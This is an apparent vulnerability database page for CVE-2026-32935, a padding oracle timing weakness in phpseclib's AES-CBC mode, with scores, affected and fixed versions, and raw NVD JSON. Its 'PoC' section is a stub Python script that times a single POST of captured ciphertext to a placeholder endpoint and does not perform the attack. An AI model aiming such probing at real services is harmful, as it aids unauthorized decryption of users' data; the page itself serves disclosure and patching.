Security Vulnerability Report
中文
CVE-2026-32935 CVSS 5.9 MEDIUM

CVE-2026-32935

Published: 2026-03-20 03:16:01
Last Modified: 2026-05-08 16:16:10

Description

phpseclib is a PHP secure communications library. Projects using versions 0.1.1 through 1.0.26, 2.0.0 through 2.0.51, and 3.0.0 through 3.0.49 are vulnerable to a to padding oracle timing attack when using AES in CBC mode. This issue has been fixed in versions 1.0.27, 2.0.52 and 3.0.50.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:phpseclib:phpseclib:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:phpseclib:phpseclib:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:phpseclib:phpseclib:*:*:*:*:*:*:*:* - VULNERABLE
phpseclib 0.1.1 - 1.0.26
phpseclib 2.0.0 - 2.0.51
phpseclib 3.0.0 - 3.0.49

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time # Target endpoint that decrypts data using vulnerable phpseclib TARGET_URL = "https://example.com/api/decrypt" # Example captured ciphertext (IV + Ciphertext) # Usually obtained from a cookie or token SAMPLE_CIPHERTEXT = "aabbccddeeff00112233445566778899..." def oracle_attack(ciphertext): """ Simulates a timing-based padding oracle attack. This function measures the time taken to process a ciphertext. A significant time difference may indicate a padding error vs successful decryption. """ headers = { "User-Agent": "PoC-Client/1.0", "Content-Type": "application/json" } payload = {"encrypted_data": ciphertext} try: start_time = time.perf_counter() response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=5) end_time = time.perf_counter() elapsed_time = end_time - start_time # In a real padding oracle, we care about the response time or status code # Here we assume the vulnerable implementation leaks info via timing return elapsed_time, response.status_code except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None, None # Basic logic to test timing variations # In a real exploit, this would involve statistical analysis over many requests print(f"Testing ciphertext: {SAMPLE_CIPHERTEXT}") duration, status = oracle_attack(SAMPLE_CIPHERTEXT) if duration is not None: print(f"Response Time: {duration:.6f} seconds, Status: {status}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32935", "sourceIdentifier": "[email protected]", "published": "2026-03-20T03:16:00.763", "lastModified": "2026-05-08T16:16:10.330", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpseclib is a PHP secure communications library. Projects using versions 0.1.1 through 1.0.26, 2.0.0 through 2.0.51, and 3.0.0 through 3.0.49 are vulnerable to a to padding oracle timing attack when using AES in CBC mode. This issue has been fixed in versions 1.0.27, 2.0.52 and 3.0.50."}, {"lang": "es", "value": "phpseclib es una biblioteca PHP de comunicaciones seguras. Los proyectos que utilizan las versiones 1.0.26 e inferiores, 2.0.0 hasta 2.0.51, y 3.0.0 hasta 3.0.49 son vulnerables a un ataque de temporización de oráculo de relleno al usar AES en modo CBC. Este problema ha sido solucionado en las versiones 1.0.27, 2.0.52 y 3.0.50."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-208"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpseclib:phpseclib:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.0.27", "matchCriteriaId": "C6E24FA3-3B81-4B9C-8496-F00C05C25B08"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpseclib:phpseclib:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.52", "matchCriteriaId": "EF84AA36-8C45-4F14-B352-82B4CA15363B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpseclib:phpseclib:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.0.50", "matchCriteriaId": "28062965-A785-45DF-9671-2B7795D49250"}]}]}], "references": [{"url": "https://github.com/phpseclib/phpseclib/commit/ccc21aef71eb170e9bf819b167e67d1fd9e6e788", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/phpseclib/phpseclib/security/advisories/GHSA-94g3-g5v7-q4jg", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}